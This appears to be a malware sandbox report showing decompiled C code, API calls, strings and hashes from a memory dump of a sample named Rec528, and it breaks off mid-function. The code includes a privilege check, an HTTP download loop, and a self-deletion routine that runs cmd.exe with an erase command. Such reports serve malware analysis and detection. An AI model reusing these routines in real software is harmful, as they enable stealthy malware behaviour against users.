__dosmaperr.LIBCMT ref: 0042891E

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
Instruction ID: 72ca82fc45cf2a8237886b126cc6aed0b6ee58280a9bb121733cf9d88e20c945
Opcode Fuzzy Hash: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
Instruction Fuzzy Hash: 25A14C31B011649FCF19EF68EC51BAE3BA1AF46324F54015EE811AB391CB399942CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004065E0 Relevance: 12.1, APIs: 8, Instructions: 67
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 68%

			E004065E0(void* __esi) {
				signed int _v8;
				void _v84;
				short _v88;
				struct _SID_IDENTIFIER_AUTHORITY _v92;
				long _v96;
				void* _v100;
				void* _v104;
				signed int _t16;
				int _t25;
				int _t30;
				void* _t35;
				void* _t40;
				void* _t41;
				void* _t44;
				signed int _t45;

				_t42 = __esi;
				_t16 =  *0x43d054; // 0x298e9dc2
				_v8 = _t16 ^ _t45;
				_v92.Value = 0;
				_v88 = 0x500;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v100) == 0) {
					L3:
					return E0040EB3F(0, _t35, _v8 ^ _t45, _t40, _t41, _t42);
				} else {
					_t25 = GetTokenInformation(_v100, "true",  &_v84, 0x4c,  &_v96); // executed
					_push(_v100);
					if(_t25 != 0) {
						CloseHandle();
						if(AllocateAndInitializeSid( &_v92, ?str?, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v104) == 0) {
							goto L3;
						} else {
							_push(__esi);
							_t30 = EqualSid(_v84, _v104);
							FreeSid(_v104);
							_pop(_t44);
							return E0040EB3F(_t30, _t35, _v8 ^ _t45, _t40, _t41, _t44);
						}
					} else {
						CloseHandle();
						goto L3;
					}
				}
			}

0x004065e0
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x00406612
0x00406636
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662e
0x00406646
0x0040666e
0x00000000
0x00406670
0x00406670
0x00406677
0x00406682
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
GetTokenInformation.KERNELBASE(?,?,?,0000004C,?), ref: 00406623
CloseHandle.KERNEL32(?), ref: 00406630
CloseHandle.KERNEL32(?), ref: 00406646
AllocateAndInitializeSid.ADVAPI32(00000000,?,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00406666
EqualSid.ADVAPI32(?,?), ref: 00406677
FreeSid.ADVAPI32(?), ref: 00406682

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AllocateCurrentEqualFreeInformationInitializeOpen
String ID:
API String ID: 1013447061-0
Opcode ID: 1034c4d742e6fd55be77b299a8b49b011f3c5f5b022b0508194a6fa870bf144a
Instruction ID: bfa270bbe54d87111214480625267f7cbec0b86cd68d987a38c4a7ba62a71be1
Opcode Fuzzy Hash: 1034c4d742e6fd55be77b299a8b49b011f3c5f5b022b0508194a6fa870bf144a
Instruction Fuzzy Hash: 62114F31B0021CABDB20DFE1DD49BAEB7B9FF08700F400439E906EA190DA7599168B59

Uniqueness

Uniqueness Score: -1.00%

Function 100011B7 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225
networkcomfileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E100011B7(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _t101;
				int _t106;
				intOrPtr _t107;
				void* _t118;
				intOrPtr _t120;
				int _t124;
				void* _t125;
				int _t128;
				void* _t132;
				void** _t137;
				intOrPtr _t143;
				intOrPtr _t147;
				void* _t154;
				intOrPtr* _t160;
				void* _t170;
				void* _t173;
				long _t182;
				void* _t183;
				intOrPtr* _t185;
				intOrPtr _t190;
				intOrPtr _t194;
				signed int _t195;
				void* _t199;
				void* _t200;
				void* _t201;

				_push(0x168);
				E1000E879(0x1000fbbc, __ebx, __edi, __esi);
				_t154 = __ecx;
				_t197 =  *(_t200 + 8);
				_t101 = 0;
				 *(_t200 - 0x140) = _t197;
				_t205 =  *((intOrPtr*)(__ecx + 0x28));
				if( *((intOrPtr*)(__ecx + 0x28)) != 0) {
					_t194 =  *((intOrPtr*)(__ecx + 0x34));
					 *((intOrPtr*)(_t200 - 0x144)) = _t194;
				} else {
					_push(0x7800);
					 *((intOrPtr*)(__ecx + 0x30)) = 0x7800;
					 *(_t154 + 0x28) = E100026B3(__ecx, __edx, _t205);
					_t101 = 0;
					 *((intOrPtr*)(_t154 + 0x34)) = 0;
					_t194 = 0;
					 *((intOrPtr*)(_t200 - 0x144)) = 0;
				}
				 *(_t200 - 0x11c) = _t101;
				InternetSetFilePointer(_t197, _t101, _t101, _t101, _t101);
				do {
					_t106 = InternetReadFile(_t197,  *((intOrPtr*)(_t154 + 0x34)) +  *(_t154 + 0x28), 0x3e8, _t200 - 0x11c); // executed
					_t182 =  *(_t200 - 0x11c);
					 *((intOrPtr*)(_t154 + 0x34)) =  *((intOrPtr*)(_t154 + 0x34)) + _t182;
					 *(_t200 - 0x138) = _t106;
					_t107 =  *((intOrPtr*)(_t154 + 0x30));
					_t206 = _t107 -  *((intOrPtr*)(_t154 + 0x34)) - 0x3e8;
					if(_t107 -  *((intOrPtr*)(_t154 + 0x34)) <= 0x3e8) {
						_t147 = _t107 + 0x7800;
						_push(_t147);
						 *((intOrPtr*)(_t154 + 0x30)) = _t147;
						_t199 = E100026B3(_t154, _t182, _t206);
						E10005070(_t199,  *(_t154 + 0x28),  *((intOrPtr*)(_t154 + 0x34)) + 1);
						E100026CA( *(_t154 + 0x28));
						_t182 =  *(_t200 - 0x11c);
						_t201 = _t201 + 0x14;
						 *(_t154 + 0x28) = _t199;
						_t197 =  *(_t200 - 0x140);
					}
				} while ( *(_t200 - 0x138) != 0 && _t182 != 0);
				 *(_t200 - 0x11c) = 0x103;
				E10003BE0(_t194, _t200 - 0x118, 0, 0x104);
				if(HttpQueryInfoA(_t197, 0x1d, _t200 - 0x118, _t200 - 0x11c, 0) == 0) {
					L24:
					 *( *((intOrPtr*)(_t154 + 0x34)) +  *(_t154 + 0x28)) = 0;
					return E1000E837(_t154, _t194, _t197);
				}
				_t118 = _t200 - 0x134;
				 *(_t200 - 0x138) = 0;
				 *(_t200 - 0x13c) = 0;
				__imp__CoCreateInstance(_t118, 0, "true", 0x100101a0, _t200 - 0x138);
				if(_t118 >= 0 &&  *(_t200 - 0x138) != 0) {
					 *((intOrPtr*)(_t200 - 0x148)) = 0xf;
					_t160 = _t200 - 0x118;
					 *((intOrPtr*)(_t200 - 0x15c)) = 0;
					 *((intOrPtr*)(_t200 - 0x14c)) = 0;
					_t183 = _t160 + 1;
					 *((char*)(_t200 - 0x15c)) = 0;
					do {
						_t120 =  *_t160;
						_t160 = _t160 + 1;
					} while (_t120 != 0);
					E1000183D(_t200 - 0x15c, _t200 - 0x118, _t160 - _t183);
					 *(_t200 - 4) =  *(_t200 - 4) & 0x00000000;
					_t185 = E10001006(_t200 - 0x15c);
					 *(_t200 - 4) = 1;
					if( *((intOrPtr*)(_t185 + 0x14)) >= 8) {
						_t185 =  *_t185;
					}
					_t124 =  *(_t200 - 0x138);
					_t125 =  *((intOrPtr*)( *_t124 + 0x10))(_t124, _t185, L"text", _t200 - 0x13c);
					_t197 = _t125;
					L10001B8E(_t200 - 0x174);
					 *(_t200 - 4) =  *(_t200 - 4) | 0xffffffff;
					E10001B3F(_t200 - 0x15c);
					if(_t125 >= 0) {
						_t217 =  *(_t200 - 0x13c);
						if( *(_t200 - 0x13c) != 0) {
							_t195 = ( *((intOrPtr*)(_t154 + 0x34)) - _t194) * 7;
							_push(_t195);
							_t132 = E100026B3(_t154, _t185, _t217);
							 *(_t200 - 0x120) =  *(_t200 - 0x120) & 0x00000000;
							 *(_t200 - 0x124) =  *(_t200 - 0x124) & 0x00000000;
							_t197 =  *( *(_t200 - 0x13c));
							_t170 =  *((intOrPtr*)(_t154 + 0x34)) -  *((intOrPtr*)(_t200 - 0x144));
							_push(0);
							_push(_t200 - 0x120);
							 *(_t200 - 0x140) = _t132;
							_push(_t200 - 0x124);
							_push(_t170);
							_push(_t132);
							_push(_t195);
							_t194 =  *((intOrPtr*)(_t200 - 0x144));
							_push( *(_t154 + 0x28) + _t194);
							_push(_t170);
							_push(0);
							_push( *(_t200 - 0x13c));
							if( *((intOrPtr*)( *( *(_t200 - 0x13c)) + 0x10))() >= 0) {
								_t139 =  *(_t200 - 0x120);
								_t190 =  *((intOrPtr*)(_t154 + 0x30));
								_t173 =  *(_t200 - 0x120) + _t194;
								_t219 = _t190 - _t173;
								if(_t190 > _t173) {
									_t197 =  *(_t154 + 0x28);
								} else {
									_t143 = _t173 + 0x3e8;
									_push(_t143);
									 *((intOrPtr*)(_t154 + 0x30)) = _t143;
									_t197 = E100026B3(_t154, _t190, _t219);
									E10001930(_t197,  *((intOrPtr*)(_t154 + 0x30)),  *(_t154 + 0x28), _t194);
									E100026CA( *(_t154 + 0x28));
									_t190 =  *((intOrPtr*)(_t154 + 0x30));
									_t139 =  *(_t200 - 0x120);
									 *(_t154 + 0x28) = _t197;
								}
								E10001930(_t197 + _t194, _t190 - _t194,  *(_t200 - 0x140), _t139);
								 *((intOrPtr*)(_t154 + 0x34)) =  *(_t200 - 0x120) + _t194;
							}
							E100026CA( *(_t200 - 0x140));
							_t137 =  *(_t200 - 0x13c);
							 *((intOrPtr*)( *_t137 + 8))(_t137);
						}
					}
					_t128 =  *(_t200 - 0x138);
					 *((intOrPtr*)( *_t128 + 8))(_t128);
				}
			}

0x100011b7
0x100011c1
0x100011c6
0x100011c8
0x100011cb
0x100011cd
0x100011d3
0x100011d6
0x100011f9
0x100011fc
0x100011d8
0x100011dd
0x100011de
0x100011e6
0x100011e9
0x100011ec
0x100011ef
0x100011f1
0x100011f1
0x10001207
0x1000120d
0x10001213
0x10001227
0x1000122d
0x10001233
0x10001236
0x1000123c
0x10001244
0x1000124a
0x1000124c
0x10001251
0x10001252
0x1000125d
0x10001265
0x1000126d
0x10001272
0x10001278
0x1000127b
0x1000127e
0x1000127e
0x10001284
0x1000129c
0x100012a9
0x100012cc
0x100014b2
0x100014b8
0x100014c6
0x100014c6
0x100012e3
0x100012e9
0x100012f0
0x100012f6
0x100012fe
0x10001313
0x1000131d
0x10001323
0x10001329
0x1000132f
0x10001332
0x10001338
0x10001338
0x1000133a
0x1000133b
0x1000134f
0x10001354
0x10001369
0x1000136b
0x10001373
0x10001375
0x10001375
0x10001377
0x1000138d
0x10001396
0x10001398
0x1000139d
0x100013a7
0x100013ae
0x100013b4
0x100013bb
0x100013c6
0x100013c9
0x100013ca
0x100013d5
0x100013dc
0x100013e4
0x100013ef
0x100013f5
0x100013f7
0x100013fe
0x10001404
0x1000140b
0x1000140c
0x10001410
0x10001411
0x10001419
0x1000141a
0x1000141b
0x1000141d
0x10001423
0x10001425
0x1000142b
0x1000142e
0x10001431
0x10001433
0x1000146d
0x10001435
0x10001435
0x1000143b
0x1000143c
0x10001447
0x1000144f
0x10001457
0x1000145c
0x10001462
0x10001468
0x10001468
0x1000147c
0x1000148b
0x1000148b
0x10001494
0x10001499
0x100014a3
0x100014a3
0x100013bb
0x100014a6
0x100014af
0x100014af

APIs

__EH_prolog3_GS.LIBCMT ref: 100011C1
InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 1000120D
InternetReadFile.WININET(?,?,000003E8,?), ref: 10001227
HttpQueryInfoA.WININET(?,0000001D,?,00000103,00000000), ref: 100012C4
CoCreateInstance.OLE32(?,00000000,?,100101A0,00000000), ref: 100012F6

Strings

text, xrefs: 10001384

Memory Dump Source

Source File: 00000002.00000002.444227906.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.444222035.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444250989.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.444265818.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_Rec528.jbxd

Similarity

API ID: FileInternet$CreateH_prolog3_HttpInfoInstancePointerQueryRead
String ID: text
API String ID: 1154000607-999008199
Opcode ID: 83b4de981f524f26fb0bc236ed01d2d2048785d513966a908e868930e1b3b29b
Instruction ID: 092b9cd8b6955c6289bef89550f3b00a82086d79d9069562fba3b4490d44c401
Opcode Fuzzy Hash: 83b4de981f524f26fb0bc236ed01d2d2048785d513966a908e868930e1b3b29b
Instruction Fuzzy Hash: 92914BB19002189FEB65CF24CC85BE977B9EF49350F1141D9E908AB25ADB70AE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00409480 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 148
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00409480(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, char _a4, intOrPtr _a20, char* _a24) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v220;
				char _v248;
				signed int _t32;
				signed int _t33;
				void* _t41;
				signed int _t42;
				char* _t44;
				void* _t47;
				signed int _t56;
				signed int _t57;
				signed int _t60;
				signed int _t61;
				void* _t62;
				signed char* _t65;
				signed int _t70;
				char* _t81;
				void* _t83;
				char _t85;
				signed int _t89;
				void* _t92;
				void* _t96;

				_t83 = __edi;
				_t62 = __ebx;
				_push(0xffffffff);
				_push(0x42ca00);
				_push( *[fs:0x0]);
				_t32 =  *0x43d054; // 0x298e9dc2
				_t33 = _t32 ^ _t89;
				_v20 = _t33;
				_push(_t33);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				E00417D97(__ecx, E004187F3(__ecx, __edx, 0));
				_t81 = _a24;
				_t85 = _a4;
				_t92 = _t89 - 0xec + 8;
				_t65 =  >=  ? _t85 :  &_a4;
				if(_a20 != 3) {
					L7:
					_t65 =  >=  ? _t85 :  &_a4;
					if(_a20 == 4) {
						_t56 =  *_t65;
						_t81 = "/chk";
						if(_t56 !=  *_t81) {
							__eflags = _t56 -  *_t81;
							if(_t56 !=  *_t81) {
								L15:
								asm("sbb eax, eax");
								_t57 = _t56 | 0x00000001;
								__eflags = _t57;
							} else {
								_t56 = _t65[1];
								__eflags = _t56 - _t81[1];
								if(_t56 != _t81[1]) {
									goto L15;
								} else {
									_t56 = _t65[2];
									__eflags = _t56 - _t81[2];
									if(_t56 != _t81[2]) {
										goto L15;
									} else {
										_t56 = _t65[3];
										__eflags = _t56 - _t81[3];
										if(__eflags != 0) {
											goto L15;
										} else {
											_t57 = 0;
										}
									}
								}
							}
						} else {
							_t65 =  &(_t65[4]);
							_t57 = 0;
						}
						_t106 = _t57;
						if(_t57 == 0) {
							goto L17;
						}
					}
				} else {
					_t60 =  *_t65 & 0x000000ff;
					if(_t60 != 0x63) {
						L5:
						asm("sbb eax, eax");
						_t61 = _t60 | 0x00000001;
						__eflags = _t61;
					} else {
						_t60 = _t65[1] & 0x000000ff;
						if(_t60 != 0x68) {
							goto L5;
						} else {
							_t60 = _t65[2] & 0x000000ff;
							if(_t60 != 0x6b) {
								goto L5;
							} else {
								_t61 = 0;
							}
						}
					}
					if(_t61 == 0) {
						L17:
						_push(_t65);
						L24();
						_t92 = _t92 - 0xc;
						E0040B4A0( &_v220, _t81, _t106, "test");
						E00417C2D(0);
					} else {
						goto L7;
					}
				}
				CreateThread(0, 0, E004056A0, 0, 0, 0); // executed
				Sleep(0xbb8); // executed
				E00402520( &_v248, "SUB=");
				_t82 =  &_v248;
				_v8 = 1;
				E00405EA0(_t62,  &_a4,  &_v248, _t83);
				_v8 = 0;
				E00402450(_t62,  &_v248); // executed
				_t41 = E00404840(_t62,  &_v248); // executed
				_t86 = _t41; // executed
				_t42 = E00404F20(_t62, _t106); // executed
				_t70 = _t42;
				_t107 = _t41;
				if(_t41 == 0) {
					__eflags = _t70;
					_t82 = "start";
					_t44 =  ==  ? "start" : "r";
				} else {
					_t44 = "n";
				}
				E00402420(0x450db0, _t44);
				E00406AA0(_t62,  &_v44, _t83, _t86, _t107); // executed
				_v8 = 2;
				_t47 = E0040CA60(_t107);
				_t108 = _t47;
				if(_t47 != 0) {
					_t96 = _t92 - 0x18;
					E00402520(_t96, " ");
					E004066A0(_t62, E00402410( &_v44), _t83); // executed
					_t92 = _t96 + 0x18;
				}
				_t93 = _t92 - 0x18;
				_t74 = _t92 - 0x18;
				E0040BB10(_t62, _t93, _t82, _t83,  &_a4); // executed
				E00408D00(_t62, _t83, _t86, _t108); // executed
				E004054C0(_t62, _t108);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				return E00410A80(_t83, _t74, 0, 0xb0);
			}

0x00409480
0x00409480
0x00409483
0x00409485
0x00409490
0x00409497
0x0040949c
0x0040949e
0x004094a2
0x004094a6
0x004094ae
0x004094be
0x004094c3
0x004094c9
0x004094cc
0x004094d2
0x004094d9
0x004094ff
0x00409505
0x0040950c
0x0040950e
0x00409510
0x00409517
0x00409520
0x00409522
0x00409540
0x00409540
0x00409542
0x00409542
0x00409524
0x00409524
0x00409527
0x0040952a
0x00000000
0x0040952c
0x0040952c
0x0040952f
0x00409532
0x00000000
0x00409534
0x00409534
0x00409537
0x0040953a
0x00000000
0x0040953c
0x0040953c
0x0040953c
0x0040953a
0x00409532
0x0040952a
0x00409519
0x00409519
0x0040951c
0x0040951c
0x00409545
0x00409547
0x00000000
0x00000000
0x00409547
0x004094db
0x004094db
0x004094e0
0x004094f6
0x004094f6
0x004094f8
0x004094f8
0x004094e2
0x004094e2
0x004094e8
0x00000000
0x004094ea
0x004094ea
0x004094f0
0x00000000
0x004094f2
0x004094f2
0x004094f2
0x004094f0
0x004094e8
0x004094fd
0x00409549
0x00409549
0x00409550
0x00409555
0x00409563
0x0040956a
0x00000000
0x00000000
0x00000000
0x004094fd
0x0040957e
0x00409589
0x0040959a
0x0040959f
0x004095a5
0x004095ac
0x004095b7
0x004095bb
0x004095c0
0x004095c5
0x004095c7
0x004095cc
0x004095ce
0x004095d0
0x004095d9
0x004095e0
0x004095e5
0x004095d2
0x004095d2
0x004095d2
0x004095ee
0x004095f6
0x004095fe
0x00409602
0x00409607
0x00409609
0x0040960b
0x00409615
0x00409624
0x00409629
0x00409629
0x0040962c
0x00409632
0x00409635
0x0040963a
0x00409642
0x00409647
0x00409648
0x00409649
0x0040964a
0x0040964b
0x0040964c
0x0040964d
0x0040964e
0x0040964f
0x00409660

APIs

Part of subcall function 004187F3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,004094BA,00000000), ref: 00418806
Part of subcall function 004187F3: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00418837

CreateThread.KERNEL32 ref: 0040957E
Sleep.KERNEL32(00000BB8), ref: 00409589

Strings

/chk, xrefs: 00409510
test, xrefs: 0040955E
start, xrefs: 004095E0
SUB=, xrefs: 0040958F

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Time$CreateFileSleepSystemThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: /chk$SUB=$start$test
API String ID: 4044491330-2206718722
Opcode ID: 17b86977dee4868f64282bd59f37cb09cef09138b6398163f00412d0550c0e15
Instruction ID: e7fe4e3e96ace5870c1e22a08d548e8e4f62add42403f3a7286c99e267cd2efa
Opcode Fuzzy Hash: 17b86977dee4868f64282bd59f37cb09cef09138b6398163f00412d0550c0e15
Instruction Fuzzy Hash: 9F415B316001486ACB11EB368C127AEBB619F10308F54447BE945B72C3E73DED46C6AD

Uniqueness

Uniqueness Score: -1.00%

Function 004054C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004054C0(void* __ebx, void* __eflags) {
				void* _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v44;
				char _v68;
				char _v92;
				char _v116;
				char _v140;
				void* _v164;
				char _v172;
				void** _v180;
				void* _v184;
				void** _v188;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t46;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t54;
				signed int _t66;
				signed int _t71;
				void* _t75;
				signed int _t78;
				char _t79;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				void** _t107;
				signed int _t109;
				void* _t111;
				signed int _t113;

				_t46 =  *0x43d054; // 0x298e9dc2
				_v20 = _t46 ^ _t109;
				 *[fs:0x0] =  &_v16;
				_t50 = E00405420( &_v164, GetCurrentProcessId()); // executed
				_t103 = _t50;
				_v8 = 0;
				_t52 = E00405250(__ebx,  &_v140, GetCurrentProcessId()); // executed
				_v8 = 1;
				_t53 = E0040C690( &_v116, _t52);
				_v8 = 2;
				_t54 = E0040C800( &_v92, _t53, "\" /f & erase \"");
				_v8 = 3;
				_t98 = E0040C9C0( &_v68, _t54, _t103);
				_v8 = 4;
				E0040C800( &_v44, _t98, "\" & exit");
				_t113 = _t111 - 0x94 + 0x10;
				E00402450(__ebx,  &_v68, _t46 ^ _t109);
				E00402450(__ebx,  &_v92, _t102);
				E00402450(__ebx,  &_v116,  *[fs:0x0]);
				E00402450(__ebx,  &_v140, 0x42c593);
				E00402450(__ebx,  &_v164, 0xffffffff);
				_t91 =  &_v44;
				ShellExecuteA(0, 0, "C:\\Windows\\System32\\cmd.exe", E00402410(_t91), 0, 0); // executed
				E00417C2D(0); // executed
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_push(_t109);
				_push(0xffffffff);
				_push(0x42c5de);
				_push( *[fs:0x0]);
				_push(__ebx);
				_push(_t103);
				_t66 =  *0x43d054; // 0x298e9dc2
				_push(_t66 ^ _t113);
				 *[fs:0x0] =  &_v172;
				_t104 = _t98;
				_t107 = _t91;
				_v180 = _t107;
				_v188 = _t107;
				_v184 = 0;
				 *_t107 = 0;
				_t107[4] = 0;
				_t107[5] = 0xf;
				 *_t107 = 0;
				_v164 = 0;
				_v184 = 1;
				E0040B950(__ebx, _t91, _t104, _t107, _t104);
				_t116 = _t104;
				if(_t104 > 0) {
					_t78 = 0x3e;
					do {
						_t71 = E00417D76(_t91, _t116);
						_t91 = _t107[4];
						_t33 =  &(("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")[_t71 % _t78]); // 0x33323130
						_t79 =  *_t33;
						_t101 = _t107[5];
						_v24 = _t79;
						if(_t91 >= _t101) {
							_push(_v24);
							_v28 = 0;
							_t91 = _t107;
							E0040D1C0(_t79, _t107, _t104, _t107, _t107, _v28);
						} else {
							_t107[4] =  &(_t91[0]);
							_t75 = _t107;
							if(_t101 >= 0x10) {
								_t75 =  *_t107;
							}
							 *((char*)(_t75 + _t91)) = _t79;
							 *((char*)(_t75 +  &(_t91[0]))) = 0;
						}
						_t78 = 0x3e;
						_t104 = _t104 - 1;
					} while (_t104 != 0);
				}
				 *[fs:0x0] = _v20;
				return _t107;
			}

0x004054d7
0x004054de
0x004054e6
0x004054fa
0x004054ff
0x00405501
0x00405516
0x0040551f
0x00405523
0x0040552f
0x00405536
0x0040553e
0x0040554f
0x00405551
0x00405558
0x0040555d
0x00405563
0x0040556b
0x00405573
0x0040557e
0x00405589
0x00405592
0x004055a4
0x004055ac
0x004055b1
0x004055b2
0x004055b3
0x004055b4
0x004055b5
0x004055b6
0x004055b7
0x004055b8
0x004055b9
0x004055ba
0x004055bb
0x004055bc
0x004055bd
0x004055be
0x004055bf
0x004055c0
0x004055c3
0x004055c5
0x004055d0
0x004055d4
0x004055d6
0x004055d7
0x004055de
0x004055e2
0x004055e8
0x004055ea
0x004055ec
0x004055ef
0x004055f2
0x004055f9
0x004055ff
0x00405606
0x0040560d
0x00405610
0x00405618
0x0040561f
0x00405624
0x00405626
0x00405628
0x00405630
0x00405630
0x00405637
0x0040563c
0x0040563c
0x00405642
0x00405645
0x0040564a
0x00405665
0x00405668
0x00405670
0x00405672
0x0040564c
0x0040564f
0x00405652
0x00405657
0x00405659
0x00405659
0x0040565b
0x0040565e
0x0040565e
0x00405677
0x0040567c
0x0040567c
0x00405630
0x00405686
0x00405694

APIs

GetCurrentProcessId.KERNEL32(298E9DC2), ref: 004054EC

Part of subcall function 00405420: OpenProcess.KERNEL32(00000410,00000000,?,00450D41,00000000), ref: 0040544B
Part of subcall function 00405420: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D41,00000000), ref: 00405466
Part of subcall function 00405420: FindCloseChangeNotification.KERNEL32(00000000,?,00450D41,00000000), ref: 0040546D

GetCurrentProcessId.KERNEL32 ref: 00405508

Part of subcall function 00405250: OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
Part of subcall function 00405250: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
Part of subcall function 00405250: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
Part of subcall function 00405250: FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1

ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4

Strings

" & exit, xrefs: 0040554A
C:\Windows\System32\cmd.exe, xrefs: 0040559B
" /f & erase ", xrefs: 00405528

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Process$ChangeCloseCurrentFindModuleNameNotificationOpen$BaseEnumExecuteFileModulesShell
String ID: " & exit$" /f & erase "$C:\Windows\System32\cmd.exe
API String ID: 3061982424-3347335610
Opcode ID: cd67c1f1b6020096fdd9f79a0473f9e67b4749dd249a927fcae96b8f206aae88
Instruction ID: 69c0960f0a585069746dcfc94047fdfad96d32df449e093db321c898be794da7
Opcode Fuzzy Hash: cd67c1f1b6020096fdd9f79a0473f9e67b4749dd249a927fcae96b8f206aae88
Instruction Fuzzy Hash: 49219030A00258DBC700FB61CC46BDDB7B4AB14708F60417AA105B31D2EFB82A4ACB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00408D00 Relevance: 7.8, APIs: 6, Instructions: 344
sleepCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408D00(void* __ebx, void* __edi, long __esi, void* __eflags, char _a4) {
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v92;
				char _v420;
				char _v748;
				char _v1076;
				signed char _v1080;
				intOrPtr _v1084;
				signed int _v1088;
				intOrPtr _v1092;
				char _v1116;
				char _v1140;
				char _v1164;
				char _v1188;
				char _v1212;
				signed int _v1236;
				short _v1240;
				intOrPtr _v1244;
				intOrPtr _v1248;
				char _v1260;
				signed int _t105;
				signed int _t106;
				void* _t108;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				void* _t130;
				void* _t131;
				signed int _t134;
				void* _t146;
				void* _t147;
				signed int _t149;
				void* _t154;
				void* _t158;
				void* _t159;
				signed int _t161;
				signed int _t165;
				intOrPtr _t168;
				void* _t177;
				signed char _t180;
				char* _t184;
				intOrPtr _t185;
				signed char _t189;
				signed int _t194;
				void* _t201;
				intOrPtr _t248;
				signed int _t266;
				signed int _t293;
				signed int _t297;
				signed int _t298;
				void* _t299;
				void* _t300;
				void* _t306;
				void* _t307;
				signed int _t308;
				void* _t313;

				_t290 = __esi;
				_t287 = __edi;
				_push(0xffffffff);
				_push(0x42c9a7);
				_push( *[fs:0x0]);
				_t300 = _t299 - 0x4dc;
				_t105 =  *0x43d054; // 0x298e9dc2
				_t106 = _t105 ^ _t297;
				_v20 = _t106;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t106);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_t108 = E00405F40(__ebx, __edi); // executed
